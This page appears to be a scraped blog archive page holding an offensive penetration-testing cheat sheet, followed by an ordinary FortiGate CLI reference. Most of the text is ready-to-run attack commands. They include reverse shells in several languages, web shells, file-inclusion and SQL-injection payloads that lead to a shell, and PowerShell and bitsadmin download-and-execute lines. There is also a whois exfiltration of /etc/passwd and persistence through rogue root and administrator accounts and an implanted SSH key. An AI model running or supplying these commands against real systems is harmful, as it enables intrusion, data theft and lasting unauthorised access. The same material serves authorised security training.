Non classé – Page 2

Please refer to the following steps:

nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips
for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done
whois domain.com
dig {a|txt|ns|mx} domain.com
dig {a|txt|ns|mx} domain.com @ns1.domain.com
host -t {a|txt|ns|mx} megacorpone.com
host -a megacorpone.com
host -l megacorpone.com ns1.megacorpone.com
dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
dnsenum domain.com
nslookup -> set type=any -> ls -d domain.com
for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done
nc -v $TARGET 80
telnet $TARGET 80
curl -vX $TARGET
showmount -e 192.168.110.102
chown root:root sid-shell; chmod +s sid-shell
nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'
target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum
rpcinfo -p $TARGET
nbtscan $TARGET

#list shares
smbclient -L //$TARGET -U ""

# null session
rpcclient -U "" $TARGET
smbclient -L //$TARGET
enum4linux $TARGET
# Windows User Accounts
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25

# Windows Running Programs
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2

# Windows Hostname
snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27

# Windows TCP Ports
snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3

# Software Name
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2

# brute-force community strings
onesixtyone -i snmp-ips.txt -c community.txt

snmp-check $TARGET
smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
xterm -display 10.0.0.1:1
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())
# rare cases
ssh bill@localhost ls -l /tmp
nice /bin/bash
/usr/bin/expect sh
python -c ‘import pty; pty.spawn(“/bin/sh”)’
# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"

# POST binary data to web form
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v
curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE
exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool “-comment<=back.php” back.png
AddType application/x-httpd-php .blah

hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoit/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list
hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1
# Bruteforce based on the pattern;
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout  

# Generate password candidates: wordlist + pattern;
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
# Windows
i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe

# Linux
gcc -m32|-m64 -o output source.c
nc 192.168.1.102 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.1.102
Connection: close

# Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id
file:///etc/passwd

http://example.com/index.php?page=php://input&cmd=ls
    POST: <?php system($_GET['cmd']); ?>
http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
    POST: <?php system('uname -a');die(); ?>

expect://whoami
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id
http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E

# ZIP Wrapper
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
http://example.com/index.php?page=zip://shell.jpg%23payload.php

# Loop through file descriptors
curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -
<?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.245/netcat/nc.exe','nc.exe'); cmd /c nc.exe 10.11.0.245 4444 -e cmd.exe\" }"); ?>
# Assumed 3 columns
http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10
# netcat reverse shell via mssql injection when xp_cmdshell is available
1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--
ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn; 
CREATE TABLE pwn.shell (code TEXT); 
INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>');
mssqlclient.py -port 27900 user:password@10.1.1.1
sqsh -S 10.1.1.1 -U user -P password
python -c 'import pty; pty.spawn("/bin/sh")'
/bin/busybox sh
__import__('os').system('id')
# We're interested in modules without protection, Read & Execute permissions
!mona modules

!mona find -s "\xFF\xE4" -m moduleName

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip
# Linux
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:80
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/raptor_udf2.so'));
select * from npn into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell');

echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh
echo "root:spotless" | chpasswd
#TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp
service atftpd start

# Windows
tftp -i $ATTACKER get /download/location/file /save/location/file
# Linux: set up ftp server with anonymous logon access;
twistd -n ftp -p 21 -r /file/to/serve

# Windows shell: read FTP commands from ftp-commands.txt non-interactively;
echo open $ATTACKER>ftp-commands.txt
echo anonymous>>ftp-commands.txt
echo whatever>>ftp-commands.txt
echo binary>>ftp-commands.txt
echo get file.exe>>ftp-commands.txt
echo bye>>ftp-commands.txt 
ftp -s:ftp-commands.txt

# Or just a one-liner
(echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 10.11.0.245 443 -e cmd
<?php file_put_contents("/var/tmp/shell.php", file_get_contents("http://10.11.0.245/shell.php")); ?>
python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')"
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" }
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'"
powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe');

cscript wget.vbs http://$ATTACKER/file.exe localfile.exe

wget http://$ATTACKER/file
curl http://$ATTACKER/file -O
scp ~/file/file.bin user@$TARGET:tmp/backdoor.py
# Attacker
nc -l -p 4444 < /tool/file.exe

# Victim
nc $ATTACKER 4444 > file.exe
# 1. In Linux, convert binary to hex ascii:
wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
# 2. Paste nc.txt into Windows Shell.
cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe
# attacker
nc -l -v -p 43 | sed "s/ //g" | base64 -d
# victim
whois -h $attackerIP -p 43 `cat /etc/passwd | base64`
#!/bin/bash
for lastOctet in {1..254}; do 
    ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done
encrypted = "encrypted-string-here"
for i in range(0,255):
    print("".join([chr(ord(e) ^ i) for e in encrypted]))
# Python
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])
# Bash
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"
python pyinstaller.py --onefile convert-to-exe.py
nc -nvv -w 1 -z host 1000-2000
nc -nv -u -z -w 1 host 160-162
# Look for SERVICE_ALL_ACCESS in the output
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
sc qc [service_name] (to verify!)
sc start [service_name]

sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""

# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER
# Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER
# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
ssh -D 127.0.0.1:8080 user@SSH_SERVER
# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP
# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
ssh user@127.0.0.1 -p 5555
# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
hts -F localhost:22 80

# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80
htc -F 8080 192.168.1.15:80

# Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22
ssh localhost -p 8080
# Requires PSRemoting
$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }

# without PSRemoting
cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))

# without PS Remoting, with arguments
cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"
# Requires interactive console
runas /user:userName cmd.exe
psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe
pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe
dir /A:H /s "c:\program files"
# Query the local db for a quick file find. Run updatedb before executing locate.
locate passwd 

# Show which file would be executed in the current environment, depending on $PATH environment variable;
which nc wget curl php perl python netcat tftp telnet ftp

# Search for *.conf (case-insensitive) files recursively starting with /etc;
find /etc -iname *.conf
hivesh /registry/file
wine vncpwdump.exe -k key
net user spotless spotless /add & net localgroup Administrators spotless /add
mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys
echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd

# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2
useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser
openssl passwd -1 password 
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.
# Launch evil.exe every 10 minutes
schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe

Main command structure
show	Display changes to the default configuration
get	List the configuration of the current object or table
edit	Create or edit a table in the current object. edit 0 will use the next ID available in a sequence number
set/unset	Set a field / Reset a field to the default value
next	Save current entry (edit X) and return to table
end	Save the current changes and exit menu
abort	Exit commands without saving the fields (ctrl+C)
delete	Remove a table from the current object
tree	Display the command tree for the current config section

Interface
show/get system interface	Show interfaces status. Use get to retrieve dynamic information (such as PPPoE IP)
config sys interface edit <port> set ip x.x.x.x/y set allow ssh ping https end	Basic interface ip configuration
diag netlink device list	Show interfaces statistics (errors)
diag hard dev nic <port>	Show interfaces statistics

Static routing
config router static edit 0 set device internal set dst x.x.x.x/y set gateway z.z.z.z set dynamic-gateway ena end	Add a static route (set a static gateway OR enable dynamic-gateway for DHCP/PPPoE)
get router info routingtable all get router info routingtable database	Display the current routing table active/configured
get ro info ro details x.x.x.x	Display the route used to reach the IP x.x.x.x
diag firewall proute list	Display the Policy Routes (have precedence over the routing table)
diag ip route list	Display the kernel routing table

Basic
get sys status	Show status summary
get sys perf stat	Show Fortigate ressources summary
execute ping(-options)	Ping something (can add options)
execute ssh <user>@<ip>	SSH to another server
exec shutdown/reboot	Shutdown the device/reboot
get sys arp (\| grep x.x)	Show the arp table (filtered by x.x)
show \| grep -f something	Find where “something” is used (cases-sensitive, can use -i to be case insensitive)

Disk/upgrade/config management
diag hard deviceinfo disk	Show disks and partitions usage
diag sys flash list	Show partitions status
exec setnextreboot ?	Select partition for the next reboot
exec factoryreset [keepvmlicense]	Reset to factory default (2 to keep network) (if VM, use keepvmlicense)
exec backup conf	Backup configuration
exec restore config	Restore configuration (reboots)
diag debug config-error-log read	Show config parsing errors (after upgrade) > should be empty
exec formatlogdisk	Format log disk

High availability
get sys ha status diag sys ha status	Show HA conf summary
diag sys ha history read	Show HA history events
diag deb en diag deb cons timestamp en diag deb app hatalk 1 diag deb app hasync 1	Troubleshoot HA synchronization issue
diag sys ha check cluster diag sys ha check sh root	Show the config checksum for any members of the cluster and show details of the config for a vdom (here root)
exec ha synchronize all	Synchronize all parts of the config
diag sys ha resetuptime	Reset ha uptime criteria (to trigger failover unless override is enabled => default is disabled)
diag sniffer packet haint ‘ether[12:2]=0x8890’ 6	Sniffer on heartbeat ports (here haint)
exec ha manage <id> <admin>	Connect on a subordinate device

Debug
diag debug enable diag debug flow sh c en diag debug flow sh f en diag debug flow filter saddr x.x.x.x diag debug flow filter daddr y.y.y.y diag debug flow trace start 10 diag debug reset	Debug flow
diag sys session filter src x.x.x.x diag sys session filter dst x.x.x.x diag sys session list diag sys session clear	Filter session table List session Clear these sessions
diag debug crashlog read	Show crashlog
diag deb en diag deb app fnbamd -1	Debug authentication
diag debug report	Collect lots of info
diag sys top <seconds> <nb_lines> shift+P for CPU ordering, shift+M for Mem ordering	Processes usage (CPU usage)
diag sys top-summary ‘-s mem’ ‘-h’ to show options	Processes usage (Mem usage)

VPN
diag vpn ike gateway list	Show phase 1
diag vpn tunnel list	Show phase 2 (shows npu flag)
diag vpn ike gateway flush name <phase1>	Flush a phase 1
diag vpn tunnel up <phase2>	Bring up a phase 2
diag debug en diag vpn ike log-filter daddr x.x.x.x diag debug app ike 1	Troubleshoot VPN issue

FortiGuard
execute update-now	Forces a download of the whole AV/IPS database, with license check
diag deb en diag deb app update -1	Troubleshoot AV/IPS download
diag autoupd status/version	Show FGD engine and database
diag debug rating	Show current connectivity with URL rating servers

Most wanted Tips : http://kb.fortinet.com/
Multi-wan routing scenarios	FD32103
Convert “diag sniff packet” to wireshark	FD30877
Hairpin NAT	FD36202
Config transfer/conversion	FD10063
FSSO Troubleshoot	FD31819
Maximum log-age	FD36366
Blackhole routes for cleaner VPN failovers	FD36695
Allow TCP session creation without SYN flag	FD40929

Other great source for information
http://docs.fortinet.com/	Official documentation (handbook, cli guide, release notes, hardware guides, etc…)
http://cookbook.fortinet.com/	Howtos, videos, etc…
http://forum.fortinet.com/	Official forum
http://fusecommunity.fortinet.com	User communiy, with groups

Category: Non classé

Reconnaissance / Enumeration

Extracting Live IPs from Nmap Scan

Simple Port Knocking

DNS lookups, Zone Transfers & Brute-Force

Banner Grabbing

NFS Exported Shares

Kerberos User Enumeration

HTTP Brute-Force & Vulnerability Scanning

RPC / NetBios / SMB

SNMP

SMTP

Gaining Access

Reverse Shell One-Liners

Bash

Perl

URL-Encoded Perl: Linux

Python

PHP

Ruby

Netcat without -e #1

Netcat without -e #2

Java

XTerm

JDWP RCE

Working with Restricted Shells

Interactive TTY Shells

Uploading/POSTing Files Through WWW Upload Forms

PUTing File on the Webhost via PUT verb

Generating Payload Pattern & Calculating Offset

Bypassing File Upload Restrictions

Injecting PHP into JPEG

Uploading .htaccess to interpret .blah as .php

Cracking Passwords

Cracking Web Forms with Hydra

Cracking Common Protocols with Hydra

HashCat Cracking

Generating Payload with msfvenom

Compiling Code From Linux

Local File Inclusion to Shell

Local File Inclusion: Reading Files

Remote File Inclusion Shell: Windows + PHP

SQL Injection to Shell or Backdoor

SQLite Injection to Shell or Backdoor

MS-SQL Console

Upgradig Non-Interactive Shell

Python Input Code Injection

Local Enumeration & Privilege Escalation

Binary Exploitation with ImmunityDebugger

Get Loaded Modules

Finding JMP ESP Address

Cracking a ZIP Password

Setting up Simple HTTP server

MySQL User Defined Fuction Privilge Escalation

Docker Privilege Esclation

Resetting root Password

Uploading Files to Target Machine

TFTP

FTP

PHP

Python

HTTP: Powershell

HTTP: VBScript

HTTP: Linux

NetCat

HTTP: Windows “debug.exe” Method

HTTP: Windows BitsAdmin

Whois Data Exfiltration

Bash Ping Sweeper

Brute-forcing XOR’ed string with 1 byte key in Python

Generating Bad Character Strings

Converting Python to Windows Executable (.py -> .exe)

Port Scanning with NetCat

Exploiting Vulnerable Windows Services: Weak Service Permissions

Creating Persistence

Port Forwarding / SSH Tunneling

SSH: Local Port Forwarding

SSH: Dynamic Port Forwarding

SSH: Remote Port Forwarding

Proxy Tunnel